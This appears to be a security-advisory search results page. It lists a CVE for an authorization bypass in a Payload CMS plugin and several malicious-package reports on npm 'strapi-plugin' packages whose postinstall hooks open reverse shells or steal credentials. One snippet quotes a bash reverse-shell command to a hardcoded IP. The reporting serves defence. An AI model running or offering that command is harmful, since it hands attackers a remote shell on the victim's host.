290433 matches found
CVE-2026-59965 @jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while...
EUVD-2026-78819
Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while...
CVE-2026-59965
@jhb.software/payload-alt-text-plugin v0.7.0 (a Payload CMS plugin) contains an authorization bypass (CWE-863) in its POST /api/alt-text-plugin/generate and /bulk endpoints. The root cause is the omission of overrideAccess: false when calling Payload's Local API (findByID and update), causing the...
CVE-2026-59965 @jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while...
MAL-2026-16192 Malicious code in strapi-plugin-weccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4a6e3de6177f265d44cf7317b020dbaed43907a0ed75b05ae0fe4eebaab469 The package's postinstall.js also declared as main executes automatically on npm install and performs bulk host reconnaissance and credential theft...
Malicious code in strapi-plugin-weccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4a6e3de6177f265d44cf7317b020dbaed43907a0ed75b05ae0fe4eebaab469 The package's postinstall.js also declared as main executes automatically on npm install and performs bulk host reconnaissance and credential theft...
MAL-2026-16191 Malicious code in strapi-plugin-uicc-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d393f18bab3c8fe1d9bea2d425d24d385657785e23cc053ac5e2c1c322f75129 postinstall.js is registered as both the npm postinstall hook and the package main. On install it polls os.hostname every 3 seconds and, when the...
Malicious code in strapi-plugin-uicc-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d393f18bab3c8fe1d9bea2d425d24d385657785e23cc053ac5e2c1c322f75129 postinstall.js is registered as both the npm postinstall hook and the package main. On install it polls os.hostname every 3 seconds and, when the...
Malicious code in strapi-plugin-revs-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d76370f1e289c374fef3b0cea33d2c21fcaa09e7937ecf6d8ba6386916225878 [email protected] ships a postinstall.js registered as scripts.postinstall in package.json. On npm install, the script runs...
MAL-2026-16184 Malicious code in strapi-plugin-revs-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d76370f1e289c374fef3b0cea33d2c21fcaa09e7937ecf6d8ba6386916225878 [email protected] ships a postinstall.js registered as scripts.postinstall in package.json. On npm install, the script runs...
Malicious code in strapi-plugin-yesccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4fa4d6fa3f37bcc5179aecbcb365bc73d94ac1cb799ac4f93fa4702292b493 package.json declares postinstall: node postinstall.js, which unconditionally spawns bash with stdio redirected to /dev/tcp/14.225.210.85/443, giving...
MAL-2026-16194 Malicious code in strapi-plugin-yesccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4fa4d6fa3f37bcc5179aecbcb365bc73d94ac1cb799ac4f93fa4702292b493 package.json declares postinstall: node postinstall.js, which unconditionally spawns bash with stdio redirected to /dev/tcp/14.225.210.85/443, giving...
MAL-2026-16187 Malicious code in strapi-plugin-revsh-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...
Malicious code in strapi-plugin-revsh-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...
Malicious code in strapi-plugin-sucresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d [email protected] declares a postinstall lifecycle hook node postinstall.js that runs automatically on npm install. The postinstall...
MAL-2026-16189 Malicious code in strapi-plugin-sucresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d [email protected] declares a postinstall lifecycle hook node postinstall.js that runs automatically on npm install. The postinstall...
Malicious code in strapi-plugin-yayccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a The package's postinstall lifecycle script node postinstall.js executes a bash reverse shell that connects to the hardcoded remote endpoint...
MAL-2026-16193 Malicious code in strapi-plugin-yayccresh-meeb (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a The package's postinstall lifecycle script node postinstall.js executes a bash reverse shell that connects to the hardcoded remote endpoint...
MAL-2026-16186 Malicious code in strapi-plugin-revs02-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1',...
Malicious code in strapi-plugin-revs02-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1',...